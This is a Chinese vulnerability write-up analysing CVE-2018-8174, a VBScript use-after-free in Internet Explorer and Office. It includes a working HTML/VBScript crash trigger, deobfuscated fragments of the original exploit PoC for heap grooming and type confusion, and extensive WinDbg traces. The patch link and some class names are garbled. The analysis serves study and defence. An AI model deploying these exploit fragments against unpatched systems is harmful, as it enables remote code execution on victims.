一、漏洞背景
CVE-2018-8174漏洞是360追日安全团队于4份捕获到的,并将其命名为“双杀”漏洞,意指在IE浏览器以及office均可以引发的漏洞。
该漏洞在当时影响最新版本的IE浏览器以及使用了IE内核的应用程序。用户在浏览网页或者打开Office文档的时候都可能中招。
微软在4月20号也确认了此漏洞,并在5月8号发布了官方补丁。本文档将对该漏洞进行详细分析理解,并提交复现过程与防御建议,供大家相互交流学习。
微软针对gai’lou’dong补丁链接 https://www.freebuf.com/wp-admin/a href=
所影响版本:
Microsoft Excel 2010 SP2 Microsoft Excel 2013 SP1 Microsoft Excel 2016 Microsoft Office 2010 SP2 Microsoft Office 2013 RT SP1 Microsoft Office 2013 SP1Microsoft Office 2016 Microsoft Office Compatibility SP3…
该漏洞影响比较广泛,可以在该链接查看详细列表: https://www.securityfocus.com/bid/103998
二、 漏洞原理
2.1.UAF的理解
首先了解一个简单的C 层面的悬垂指针:
代码语言:javascript复制#include "stdafx.h" #include <malloc.h>int main() { char *p1; p1 = (char*)malloc(sizeof(char) * 10); memcpy(p1, "hello", 10); printf("p1,addr:%x,%sn", p1, p1); free(p1); char *p2; p2 = (char*)malloc(sizeof(char) * 10); memcpy(p2, "hello", 10); printf("p2,addr:%x,%sn", p2, p1); printf("p2,addr:%x,%sn", p2, p2); free(p2); return 0; } //输出: //p1,addr:99ac88,hello //p2,addr:99ac88,hello //p2,addr:99ac88,hello
在指针p1被释放后,却仍然可以执行已经被释放的内存,而且在 free 了 p1 之后再次申请同样大小空间,操作系统会将刚刚 free 了的内存重新分配。
并且可以通过p2操作p1,那么如果再次使用p1,则可以通过p2修改程序功能等目的。p1就叫做 悬垂指针,UAF会造成内存破坏的原因就是使用了悬垂指针。
理解了上面的悬垂指针后再看在vbs中的悬垂指针是怎样的,根据原始 PoC 防写一个造成悬垂指针的脚本来理解一下:
代码语言:javascript复制<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="x-ua-compatible" content="IE=10"> </head> <body> <script language="vbscript"> Dim array_a Dim array_b(1) Class Trigger '重载析构函数 Private Sub Class_Terminate() Alert "重载析构函数" Set array_b(0)=array_a(1) '增加了一个array_b(0)对Trigger实例的引用(Trigger实例引用计数 1) '删除array_a (1) 对Trigger实例的引用 'Trigger实例引用计数-1 来平衡引用计数 array_a(1)=1 IsEmpty(array_b) 'IsEmpty 方便断点观察 End Sub End Class Sub UAF Alert "UAF" Alert "重新定义array_a" ReDim array_a(1) Alert "创建Trigger实例给数组array_a" Set array_a(1)=New Trigger IsEmpty(array_a) Alert "清空array_a中的元素,触发Class_Terminate" Erase array_a IsEmpty("Erase Finish") End Sub Sub TriggerVuln Alert "访问未分配的内存,触发漏洞 " array_b(0)=0 End Sub Sub StartExploit UAF TriggerVuln End Sub StartExploit </script> </body> </html>
如上:
1,在UAF函数中,Set array_a(1)=New Trigger 是创建了一个 Trigger 实例给数组 array_a, Erase array_a 在析构 array_a 中的元素时,会调用 Trigger 的重载的析构函数;
2,在此函数中先增加了一个 array_b(0) 对 Trigger 实例的引用(Trigger实例引用计数 1),又通过 array_a(1)=1 删除 array_a(1) 对 Trigger 实例的引用,(Trigger的实例引用计数减1)来平衡引用计数后,才会彻底释放 Trigger 实例
3,但是此时 array_b(0) 仍然保留着这个类的引用,然后在 TriggerVuln 函数中,array_b(0)=0 对array_b(0) 进行访问时造成了触发漏洞,此时 array_b(0) 就叫做悬垂指针
2.1.1.调试
在windbg 所在文件夹开启hpa页堆调试 和ust栈回溯选项:
代码语言:javascript复制//启用页面堆--开启hpa页堆调试 和ust堆分配记录 //关于此技术原理的可以看一下这个连接: http://www.cnblogs.com/Ox9A82/p/5603172.html C:TOOLSwindbg_cnWinDbg(x86)>gflags.exe /i iexplore.exe ust hpa
代码语言:javascript复制//winDbg 附加IE调试后可以捕捉到此崩溃现场 //汇编 .. 76aa4966 8b4608 mov eax,dword ptr [esi 8] 76aa4969 85c0 test eax,eax 76aa496b 0f8454f5ffff je OLEAUT32!VariantClear 0xc3 (76aa3ec5) 76aa4971 8b08 mov ecx,dword ptr [eax] ds:0023:06076fd0=???????? .. //command 0:013> g (e84.548): Access violation - code c0000005 (first chance) //访问已经释放的内存,从而崩溃 First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=06076fd0 ebx=06192fe0 ecx=00000009 edx=00000002 esi=06192fe0 edi=00000009 eip=76aa4971 esp=0457d02c ebp=0457d034 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 OLEAUT32!VariantClear 0xb3: 76aa4971 8b08 mov ecx,dword ptr [eax] ds:0023:06076fd0=???????? 0:005> !heap -p -a eax address 06076fd0 found in _DPH_HEAP_ROOT @ 17e1000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) //对象所在的内存已经被释放 17e3e38: 6076000 2000 728390b2 verifier!AVrfDebugPageHeapFree 0x000000c2 774e65f4 ntdll!RtlDebugFreeHeap 0x0000002f 774aa0aa ntdll!RtlpFreeHeap 0x0000005d 774765a6 ntdll!RtlFreeHeap 0x00000142 76b898cd msvcrt!free 0x000000cd 7141406c vbscript!VBScriptClass::`scalar deleting destructor' 0x00000019 7141411a vbscript!VBScriptClass::Release 0x00000043 //调用类的析构函数,释放了VBSClass对象,也就是脚本中的Trigger实例 76aa4977 OLEAUT32!VariantClear 0x000000b9 6bfce433 IEFRAME!Detour_VariantClear 0x0000002f 76abe325 OLEAUT32!ReleaseResources 0x000000a3 76abdfb3 OLEAUT32!_SafeArrayDestroyData 0x00000048 76ac5d2d OLEAUT32!SafeArrayDestroyData 0x0000000f 76ac5d13 OLEAUT32!Thunk_SafeArrayDestroyData 0x00000039 7145267f vbscript!VbsErase 0x00000057 //call 了vbscript!VbsErase 此函数对应脚本中的`Erase array_a ` 71403854 vbscript!StaticEntryPoint::Call 0x00000011 7140586e vbscript!CScriptRuntime::RunNoEH 0x00001c10 71404ff6 vbscript!CScriptRuntime::Run 0x00000064
在VBScriptClass::Release函数中的逻辑:
代码语言:javascript复制VBScriptClass *__stdcall VBScriptClass::Release(VBScriptClass *this) { VBScriptClass *this_1; // ebx@1 volatile LONG *v2; // edi@1 VBScriptClass *result_1; // [sp 14h] [bp 8h]@1 this_1 = this; v2 = (volatile LONG *)((char *)this 4); result_1 = (VBScriptClass *)InterlockedDecrement((volatile LONG *)this 1);// 引用计数 -1,引用计数保存在&VBScriptClass 0x4的位置 if ( !result_1 ) // result为引用计数,为零则进入内存释放 { InterlockedIncrement(v2); VBScriptClass::TerminateClass(this_1); // 脚本重载了类Terminate的析构函数,在重载的函数中又增加了array_b对Object的引用 result_1 = (VBScriptClass *)InterlockedDecrement(v2); if ( !result_1 ) // 当认为当下的Object的引用计数已经为0时,进入系统析构程序 { if ( this_1 ) (*(void (__thiscall **)(VBScriptClass *, signed int))(*(_DWORD *)this_1 0x68))(this_1, 1);// 调用析构函数释放VBScriptClass的内存 } } return result_1; }
2.1.2 溯源
代码语言:javascript复制// 在winDbg中这样下断点 bp vbscript!VBScriptClass::TerminateClass ".printf "Class %mu at %x, terminate called\n", poi(@ecx 0x24), @ecx; g"; bp vbscript!VBScriptClass::Release ".printf "Class %mu at: %x ref counter, release called: %d\n", poi(@eax 0x24), @ecx, poi(@eax 0x4); g"; bp vbscript!VBScriptClass::Create 0x55 ".printf "Class %mu created at %x\n", poi(@esi 0x24), @esi; g"; bp vbscript!VbsIsEmpty
第一次断点:
代码语言:javascript复制//即可输出VBScriptClass对象名称,对象地址,虚函数表地址,以及引用计数: 0:013> g Class Trigger created at 178afd0 Class Trigger at: 6fb61748 ref counter, release called: 2 Class Trigger at: 6fb61748 ref counter, release called: 2 Class Trigger at: 6fb61748 ref counter, release called: 2 //类对象地址 0:005> ln poi (0178afd0 ) (6fb61748) vbscript!VBScriptClass::`vftable' | (6fb6c518) vbscript!__pfnDefaultDliNotifyHook2 Exact matches: vbscript!VBScriptClass::`vftable' = <no type information> 0:005> dd 0178afd0 0178afd0 6fb61748 00000002 05fd1f78 08477f88 //02是引用计数的值 0178afe0 00000e08 00000000 00000000 05fd5efc 0178aff0 00000000 088d6fe4 00000000 00000000 0:005> du 088d6fe4 //类的名字 088d6fe4 "Trigger" //也可以通过vbscript!VbsIsEmpty断点追溯到类的地址。如下: Breakpoint 3 hit eax=6fb6185c ebx=044bd284 ecx=6fbba9d8 edx=044bd1fc esi=05faf54c edi=00000001 eip=6fb7c206 esp=044bd118 ebp=044bd128 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6fb7c206 8bff mov edi,edi 0:005> dd poi(esp c) 05fbbf60 044b004a 77431fd0 0174bfe8 01721020 //0174bfe8是数据结构地址 05fbbf70 c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0 05fbbf80 044bd578 05fbbfa0 c0c0c0c0 c0c0c0c0 05fbbf90 c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0 05fbbfa0 044bd7bc 05fbbfe0 c0c00001 c0c0c0c0 05fbbfb0 0000400c 00000000 05fc5ec8 00000000 05fbbfc0 0000400c 00000000 05fc5e88 00000000 05fbbfd0 c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0 0:005> dd 0174bfe8 l8 0174bfe8 044b200c 77431fd0 0833efe8 01721020//200c这两个字节表示的是VBScript变量类型,表示的是SAFEARRAY类型,ARRAY在07f4dfe8存放 0174bff8 00000000 c0c0c0c0 ???????? ???????? 0:005> dt ole32!safearray 0833efe8 //解析safearray结构,pvdata表示数据地址 0x000 cDims : 1 //cDims表示维数 0x002 fFeatures : 0x880 0x004 cbElements : 0x10 0x008 cLocks : 0 0x00c pvData : 0x08346fe0 Void //array_a数据元素地址 0x010 rgsabound : [1] tagSAFEARRAYBOUND 0:005> dd 0x08346fe0 08346fe0 00000000 00000000 00000000 00000000 //array_a(0)没有定义 08346ff0 c0c00009 c0c0c0c0 0178afd0 c0c0c0c0 //array_a(1)type==0x9表示是一个object,值为0178afd0 08347000 ???????? ???????? ???????? ???????? //即找到类对象的地址,也就是说array_a(1)已经指向了Trigger对象 0:005> dd 0178afd0 0178afd0 6fb61748 00000002 05fd1f78 08477f88 0178afe0 00000e08 00000000 00000000 05fd5efc 0178aff0 00000000 088d6fe4 00000000 00000000 0178b000 ???????? ???????? ???????? ???????? 0:005> du 088d6fe4 088d6fe4 "Trigger"
第二次断点:
执行到第二个 ISEmpty ,即析构函数中的ISEmpty的时候(在Erase array_a的时候,会触发Class_Terminate析构函数),此时Set array_b(0)=array_a(1)已执行;则:
代码语言:javascript复制Breakpoint 3 hit eax=6fb6185c ebx=044bcf48 ecx=6fbba9d8 edx=044bcec0 esi=05faf54c edi=00000001 eip=6fb7c206 esp=044bcddc ebp=044bcdec iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6fb7c206 8bff mov edi,edi 0:005> dd poi(esp c) 05fbbf30 c0c0600c c0c0c0c0 05fc5ed4 082a4fe8 //data buffer 在082a4fe8 05fbbf40 c0c00000 c0c0c0c0 0178afd0 c0c0c0c0 05fbbf50 044bd334 05fbbf80 c0c00001 c0c0c0c0 05fbbf60 044b400c 77431fd0 05fc5e88 01721020 05fbbf70 c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0 05fbbf80 044bd578 05fbbfa0 c0c0c0c0 c0c0c0c0 05fbbf90 c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0 05fbbfa0 044bd7bc 05fbbfe0 c0c00001 c0c0c0c0 0:005> dd 082a4fe8 //safearray结构 082a4fe8 08920001 00000010 00000000 012edfe0 082a4ff8 00000002 00000000 ???????? ???????? 082a5008 ???????? ???????? ???????? ???????? 0:005> dt ole32!safearray 082a4fe8 0x000 cDims : 1 0x002 fFeatures : 0x892 0x004 cbElements : 0x10 0x008 cLocks : 0 0x00c pvData : 0x012edfe0 Void //array_b数据元素地址 0x010 rgsabound : [1] tagSAFEARRAYBOUND 0:005> dd 0x012edfe0 lc 012edfe0 c0c00009 c0c0c0c0 0178afd0 c0c0c0c0 //类型还是0x09,array_b(0)中此时保存着类对象地址 012edff0 00000000 00000000 00000000 00000000 012ee000 ???????? ???????? ???????? ???????? 0:005> ln poi(0178afd0 ) //类对象地址 0178afd0 (6fb61748) vbscript!VBScriptClass::`vftable' | (6fb6c518) vbscript!__pfnDefaultDliNotifyHook2 Exact matches: vbscript!VBScriptClass::`vftable' = <no type information> 0:005> dd 0178afd0 0178afd0 6fb61748 00000004 05fd1f78 08477f88 0178afe0 00000e08 00000000 00000000 05fd5efc 0178aff0 00000001 088d6fe4 00000000 00000000 0178b000 ???????? ???????? ???????? ???????? 0:005> du 088d6fe4 //类名称 088d6fe4 "Trigger"
第三次断点:此时 Erase已经执行完毕:
代码语言:javascript复制Breakpoint 3 hit eax=6fb6185c ebx=044bd284 ecx=6fbba9d8 edx=044bd1fc esi=05faf54c edi=00000001 eip=6fb7c206 esp=044bd118 ebp=044bd128 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6fb7c206 8bff mov edi,edi //此时查看object的地址为空, 0:005> dd 0178afd0 0178afd0 ???????? ???????? ???????? ???????? 0178afe0 ???????? ???????? ???????? ???????? 0178aff0 ???????? ???????? ???????? ???????? 0:005> !heap -p -a 0178afd0 address 0178afd0 found in _DPH_HEAP_ROOT @ 1721000 //in free-ed allocation 表示已经被释放 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 1722e38: 178a000 2000 733390b2 verifier!AVrfDebugPageHeapFree 0x000000c2 774e65f4 ntdll!RtlDebugFreeHeap 0x0000002f 774aa0aa ntdll!RtlpFreeHeap 0x0000005d 774765a6 ntdll!RtlFreeHeap 0x00000142 .. .. //此时分别查看array_b与array_a 的情况: //array_b(0)的情况: 0:005> dd 0x012edfe0 012edfe0 c0c00009 c0c0c0c0 0178afd0 c0c0c0c0 //array_b(0)依然保存着类对象地址,但是类对象已经被释放了 012edff0 00000000 00000000 00000000 00000000 012ee000 ???????? ???????? ???????? ???????? 012ee010 ???????? ???????? ???????? ???????? //array_a的情况: 0:005> dd 0x08346fe0 08346fe0 ???????? ???????? ???????? ???????? //array_a已经被释放 08346ff0 ???????? ???????? ???????? ???????? 08347000 ???????? ???????? ???????? ????????
显然有些地方出现了错误,明明 array_b 还保留着对Trigger Object引用的时候,Trigger Object却随着 Erase array_a被释放了。我们来看看错误的地方:
2.2 验证
在IDA里面查看过 VBScriptClass::Release 的伪代码,以及上面的调试后,我们猜测在脚本中的重载的析构函数中,Set array_b(0)=array_a(1)这句是否有对 Class Trigger 的引用计数进行操作,
接下来进行验证,在以下位置下断点:
代码语言:javascript复制bu vbscript!VbsErase bu vbscript!VBScriptClass::Release bu vbscript!VbsIsEmpty bp vbscript!VBScriptClass::Create 0x55 ".printf "Class %mu created at %x\n", poi(@esi 0x24), @esi; g";
前面的几次 Release 不用看,一直到VbsErase后面的release的时候单步调试
(此时在调试日志中,类对象地址已经被bp vbscript!VBScriptClass::Create 0x55 “.printf ”Class %mu created at %xn”, poi(@esi 0x24), @esi; g”; 打印出来了,或者运行到 release 的时候的esp 8也是类对象地址)
代码语言:javascript复制0:005> g Class Trigger created at 189bfd0 .. .. Breakpoint 1 hit eax=0189bfd0 ebx=00000020 ecx=6d9a1748 edx=00000000 esi=087efff0 edi=00000009 eip=6d9b1ef3 esp=0468c9cc ebp=0468c9dc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 vbscript!VBScriptClass::Release: 6d9b1ef3 8bff mov edi,edi 0:005> dd 189bfd0 0189bfd0 6d9a1748 00000001 06103f78 08657f88 //此时的引用计数为1 0189bfe0 00000d80 00000000 00000000 06107efc 0189bff0 00000000 071e4fe4 00000000 00000000 0189c000 ???????? ???????? ???????? ???????? 单步调试到: 6d9b1efc 56 push esi 6d9b1efd 8b35e4129a6d mov esi,dword ptr [vbscript!_imp__InterlockedDecrement (6d9a12e4)] 6d9b1f03 57 push edi 6d9b1f04 8d7b04 lea edi,[ebx 4] 6d9b1f07 57 push edi //edi 中保存的便是object的引用计数 6d9b1f08 ffd6 call esi {kernel32!InterlockedDecrementStub (775bbbf0)} 6d9b1f0a 894508 mov dword ptr [ebp 8],eax 6d9b1f0d 85c0 test eax,eax //如果此时的引用计数为0, 6d9b1f0f 0f84d8210000 je vbscript!VBScriptClass::Release 0x1e (6d9b40ed)//则进入Release 0x1e,调用析构函数 6d9b1f15 8b4508 mov eax,dword ptr [ebp 8] //此时的edi 的值为1,然后调用InterlockedDecrementStub 把引用计数减一 0:005> dd edi 0189bfd4 00000001 06103f78 08657f88 00000d80 //继续调试,这里就执行 我们代码中 的Set array_b(0)=array_a(1)这句了 6da140f4 8bcb mov ecx,ebx 6da140f6 e829000000 call vbscript!VBScriptClass::TerminateClass (6da14124) 6da140fb 57 push edi 6da140fc ffd6 call esi 6da140fe 894508 mov dword ptr [ebp 8],eax 6da14101 85c0 test eax,eax 6da14103 0f850cdeffff jne vbscript!VBScriptClass::Release 0x43 (6da11f15) 6da14109 85db test ebx,ebx 6da1410b 0f8404deffff je vbscript!VBScriptClass::Release 0x43 (6da11f15) 6da14111 8b03 mov eax,dword ptr [ebx] 6da14113 6a01 push 1 6da14115 8bcb mov ecx,ebx 6da14117 ff5068 call dword ptr [eax 68h] ds:0023:6da017b0={vbscript!VBScriptClass::`vector deleting destructor' (6da14053)} //最终因为引用计数为0,调用vector deleting destructo,释放对象内存 0:005> p eax=00000001 ebx=01882fd0 ecx=01882fd0 edx=00000000 esi=775bbbf0 edi=01882fd4 eip=6da140f6 esp=045ccd8c ebp=045ccd98 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 vbscript!VBScriptClass::Release 0x27: 6da140f6 e829000000 call vbscript!VBScriptClass::TerminateClass (6da14124) 0:005> dd 1882fd0 01882fd0 6da01748 00000001 05f31f78 08469f88 //在进入TerminateClass前引用计数为1 01882fe0 0000098c 00000000 00000000 05f35efc 01882ff0 00000000 087e4fe4 00000000 00000000 01883000 ???????? ???????? ???????? ???????? 0:005> p eax=00000000 ebx=01882fd0 ecx=01882fd4 edx=0008001f esi=775bbbf0 edi=01882fd4 eip=6da140fb esp=045ccd8c ebp=045ccd98 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VBScriptClass::Release 0x2c: 6da140fb 57 push edi 0:005> dd 1882fd0 01882fd0 6da01748 00000001 05f31f78 08469f88 //在执行TerminateClass后引用计数仍然为1, 01882fe0 0000098c 00000000 00000000 05f35efc 01882ff0 00000001 087e4fe4 00000000 00000000 01883000 ???????? ???????? ???????? ???????? //所以问题就在这里,它没有因为Set array_b(0)=array_a(1),而增加类对象的引用计数,造成了在类对象被释放后array_b(0)仍然指向那个类对象地址,而造成了悬垂指针
漏洞原因总结:
此漏洞就是存在于release 函数中,如果在自定义的脚本中重载了析构函数,在这个函数中操作了类的引用计数(UAF),而release函数不能正确的判断类的引用计数造成而去析构了这个类,但是仍然指向这个类的指针就变成了悬垂指针,后面通过这个悬垂指针进行一些操作来达到任意读写的目的。
接下来我们调试原始PoC看它是怎么对这个悬垂指针进行利用的,需要对vbs的基本的 数据结构 )有所了解:
0x200C,即VT_VARIANT|VT_ARRAY
Constant | Value | Description |
---|---|---|
vbEmpty | 0 | Empty (uninitialized) |
vbNull | 1 | Null (no valid data) |
vbInteger | 2 | Integer |
vbLong | 3 | Long integer |
vbSingle | 4 | Single-precision floating-point number |
vbDouble | 5 | Double-precision floating-point number |
vbCurrency | 6 | Currency |
vbDate | 7 | Date |
vbString | 8 | String |
vbObject | 9 | Automation object |
vbError | 10 | Error |
vbBoolean | 11 | Boolean |
vbVariant | 12 | Variant (used only with arrays of Variants) |
vbDataObject | 13 | A data-access object |
vbByte | 17 | Byte |
vbArray | 8192 | Array |
三、 原PoC剥茧抽丝
理解了上面的基础之后我们开始调试原始PoC
原始PoC 在变量名和数据计算中存在大量的混淆,对重要位置进行还原: (以及加入了一些IsEmpty后方便查看参数)
3.1 PoC中的UAF
先分析一下原始poc中的UAF函数:
代码语言:javascript复制Sub UAF Alert "UAF" For i=0 To 19 Set array(i)=New Foo '占据系统堆碎片 Next For i=20 To 39 Set array(i)=New MyClass2 '占据系统堆碎片 Next '-------------------------------------------------------------------------- For i=0 To 6 ReDim array_a(1) Set array_a(1)=New Trigger Erase array_a 'array_b保存了对已经释放的Trigger obj的引用 Next IsEmpty(array_b) Set MyClass2_obj1=New MyClass2 '同时MyClass2_obj2对它占位 IsEmpty(MyClass2_obj1) '-------------------------------------------------------------------------- spec_int_2=0 For i=0 To 6 ReDim array_a(1) Set array_a(1)=New cla2 'array_c保存了对已经释放的 cla2 obj 的引用 Erase array_a Next IsEmpty(array_c) Set MyClass2_obj2=New MyClass2 '同时MyClass2_obj2对它占位 IsEmpty(MyClass2_obj2) End Sub
代码语言:javascript复制//断点: 0:005> bl 0 e 710b4124 0001 (0001) 0:**** vbscript!VBScriptClass::TerminateClass ".printf "Class %mu at %x, terminate called\n", poi(@ecx 0x24), @ecx; g" 2 e 710b463d 0001 (0001) 0:**** vbscript!VBScriptClass::Create 0x63 ".printf "Class %mu created at %x\n", poi(@esi 0x24), @esi; g" 3 e 710bc206 0001 (0001) 0:**** vbscript!VbsIsEmpty
第一次IsEmpty断点,参数为array_b:
代码语言:javascript复制//参数传入的array_b,进入函数后栈空间可以查看 Breakpoint 3 hit eax=6ab1185c ebx=0289cb64 ecx=6ab6a9d8 edx=0289cadc esi=0104783c edi=00000001 eip=6ab2c206 esp=0289c9f8 ebp=0289ca08 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6ab2c206 8bff mov edi,edi 0:006> dd poi(esp C) 0049f1a0 0000600c 00000000 01051100 0034c4c8 //0034c4c8 是array_b 的data buffer 0049f1b0 02890002 0049ffc0 01050013 0289c9c0 0049f1c0 02890002 0049ffc0 01050001 0289c9c0 0049f1d0 6ab10002 0289c9fc 02890027 0049ffc0 0049f1e0 6ab10002 0289c9fc 02890001 0049ffc0 0049f1f0 6ab10002 0289c9fc 02890006 0049ffc0 0049f200 6ab10002 0289c9fc 02890001 0049ffc0 0049f210 00000000 00000000 00000000 00000000 0:006> dt ole32!safearray 0034c4c8 0x000 cDims : 1 0x002 fFeatures : 0x892 0x004 cbElements : 0x10 0x008 cLocks : 0 0x00c pvData : 0x00371a68 Void //array_b数据元素地址 0x010 rgsabound : [1] tagSAFEARRAYBOUND 0:006> dd 00371a68 00371a68 01030009 00000000 010526e0 00000000 //010526e0类对象地址 00371a78 6ab10009 010526e4 010526e0 6ab14211 00371a88 6ab10009 010526e4 010526e0 6ab14211 00371a98 6ab10009 010526e4 010526e0 6ab14211 00371aa8 6ab10009 010526e4 010526e0 6ab14211 00371ab8 6ab10009 010526e4 010526e0 6ab14211 00371ac8 6ab10009 010526e4 010526e0 6ab14211 00371ad8 5e2b1c44 88000000 0030007b 0030002e 0:006> dd 010526e0 010526e0 6ab100c6 00000000 00000000 00000000 //引用计数已经为0 010526f0 00000808 00000000 00000000 0103799c 01052700 00000001 003af554 00000000 00000000 01052710 5e163a1d 80000000 000000cd 00000000 0:006> du 003af554 003af554 "Trigger"
第二次IsEmpty断点,此时 cla4_obj1 占位已经完成:
代码语言:javascript复制//仍然查看10526e0类对象地址 Class cla4 created at 10526e0 Breakpoint 3 hit eax=6ab1185c ebx=0289cb64 ecx=6ab6a9d8 edx=0289cadc esi=0104783c edi=00000001 eip=6ab2c206 esp=0289c9f8 ebp=0289ca08 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6ab2c206 8bff mov edi,edi 0:006> dd 010526e0 010526e0 6ab11748 00000002 010345e0 0049e910 //引用计数变为0x02 010526f0 00000808 00000000 00000000 00000000 01052700 00000000 003af554 00000000 010526a8 01052710 5e163a1d 80000000 000000cd 00000000 01052720 00000000 00000000 00000000 00000000 01052730 00000000 00000000 00000000 00000000 01052740 00000000 00000000 5e163a16 80000000 01052750 000000d4 00000000 00000000 00000000 0:006> du 003af554 003af554 "cla4" //同样的地址cla4_obj1已经占位
第三次IsEmpty断点,参数为array_c:
代码语言:javascript复制Breakpoint 3 hit eax=6ab1185c ebx=0289cb64 ecx=6ab6a9d8 edx=0289cadc esi=0104783c edi=00000001 eip=6ab2c206 esp=0289c9f8 ebp=0289ca08 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6ab2c206 8bff mov edi,edi 0:006> dd poi(esp C) 0049f1a0 0000600c 00000000 01051140 00375bc0 //00340308是array_c的data buffer 0049f1b0 02890002 0049ffc0 01050013 0289c9c0 0049f1c0 02890002 0049ffc0 01050001 0289c9c0 0049f1d0 6ab10002 0289c9fc 02890027 0049ffc0 0049f1e0 6ab10002 0289c9fc 02890001 0049ffc0 0049f1f0 6ab10002 0289c9fc 02890006 0049ffc0 0049f200 6ab10002 0289c9fc 02890001 0049ffc0 0049f210 6ab10002 0289c9fc 02890006 0049ffc0 0:006> dt ole32!safearray 00375bc0 0x000 cDims : 1 0x002 fFeatures : 0x892 0x004 cbElements : 0x10 0x008 cLocks : 0 0x00c pvData : 0x00371888 Void //array_c数据元素地址 0x010 rgsabound : [1] tagSAFEARRAYBOUND 0:006> dd 0x00371888 00371888 6ab10009 010526e4 01052718 6ab14211 //023b1f98类对象地址 00371898 6ab10009 0105271c 01052718 6ab14211 003718a8 6ab10009 0105271c 01052718 6ab14211 003718b8 6ab10009 0105271c 01052718 6ab14211 003718c8 6ab10009 0105271c 01052718 6ab14211 003718d8 6ab10009 0105271c 01052718 6ab14211 003718e8 6ab10009 0105271c 01052718 6ab14211 003718f8 5e2b1c00 8e000000 00690066 0065006c 0:006> dd 01052718 01052718 6ab100cd 00000000 00000000 00000000 //引用计数已经为0 01052728 00000808 00000000 00000000 01037bcc 01052738 00000001 00370d34 00000000 00000000 01052748 5e163a16 80000000 000000d4 00000000 01052758 00000000 00000000 00000000 00000000 01052768 00000000 00000000 00000000 00000000 01052778 00000000 00000000 5e163a0f 80000000 01052788 000000db 00000000 00000000 00000000 0:006> du 00370d34 00370d34 "cla2"
第四次IsEmpty断点,此时 MyClass2_obj2 占位已经完成:
代码语言:javascript复制//仍然查看 1052718 类对象地址 Class cla4 created at 1052718 Breakpoint 3 hit eax=6ab1185c ebx=0289cb64 ecx=6ab6a9d8 edx=0289cadc esi=0104783c edi=00000001 eip=6ab2c206 esp=0289c9f8 ebp=0289ca08 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6ab2c206 8bff mov edi,edi 0:006> dd 01052718 01052718 6ab11748 00000002 01034700 0049e910 //引用计数变为0x02 01052728 00000808 00000000 00000000 00000000 01052738 00000000 00370d34 00000000 010526e0 01052748 5e163a16 80000000 000000d4 00000000 01052758 00000000 00000000 00000000 00000000 01052768 00000000 00000000 00000000 00000000 01052778 00000000 00000000 5e163a0f 80000000 01052788 000000db 00000000 00000000 00000000 0:006> du 00370d34 //同样的地址cla4_obj2已经占位 00370d34 "cla4"
以上为poc中的UAF函数的作用与原理,接下来看 InitObjects
3.2.PoC中的InitObjects
同样的我们在代码里面加入IsEmpty来便于调试
代码语言:javascript复制Sub InitObjects IsEmpty(MyClass2_obj1) MyClass2_obj1.SetProp(cla6_obj1) '调用了两次 MyClass2_obj1的SetProp函数,分别传入的参数为 cla6_obj1 IsEmpty(MyClass2_obj1) IsEmpty(MyClass2_obj2) MyClass2_obj2.SetProp(cla7_obj1) '参数为cla7_obj1 IsEmpty(MyClass2_obj2) spec_int_1=MyClass2_obj2.mem End Sub Class MyClass2 Dim mem Function P End Function Function SetProp(Value) 'IsEmpty("Enter MyClass2:SetPro") mem=0 mem=Value '分别会调用cla6与cla7的Get P SetProp=0 End Function End Class Class cla6 Public Default Property Get P 'IsEmpty("cal6:call Get P") Dim cla5_obj1 P=174088534690791e-324 For i=0 To 6 array_b(i)=0 Next 'IsEmpty("finish set array_b to 0") Set cla5_obj1=New cla5 cla5_obj1.mem=str_1 'IsEmpty(cla5_obj1) For i=0 To 6 Set array_b(i)=cla5_obj1 Next End Property End Class Class cla7 Public Default Property Get P Dim cla5_obj1 P=636598737289582e-328 For i=0 To 6 array_c(i)= 0 Next 'IsEmpty("finish set array_c to 0") Set cla5_obj1=New cla5 cla5_obj1.mem=str_2 'IsEmpty(cla5_obj1) For i= 0 To 6 Set array_c(i)=cla5_obj1 Next End Property End Class
执行前:
代码语言:javascript复制//查看cla4_obj1的地址 0:006> dd 010526e0 010526e0 6ab11748 00000002 010345e0 0049e910 //cla4_obj1.mem的地址 010526f0 00000808 00000000 00000000 00000000 01052700 00000000 003af554 01052718 010526a8 01052710 5e163a1d 88000000 6ab11748 00000001 01052720 01034700 0049e910 00000808 00000000 01052730 00000000 00000000 00000000 00370d34 01052740 00000000 010526e0 5e163a16 80000000 01052750 000000d4 00010a41 00000000 00000000 0:006> du 003af554 003af554 "cla4"
执行到cla4_obj1.SetProp(cla6_obj1)这里的时候,去调用cla4的SetProp函数
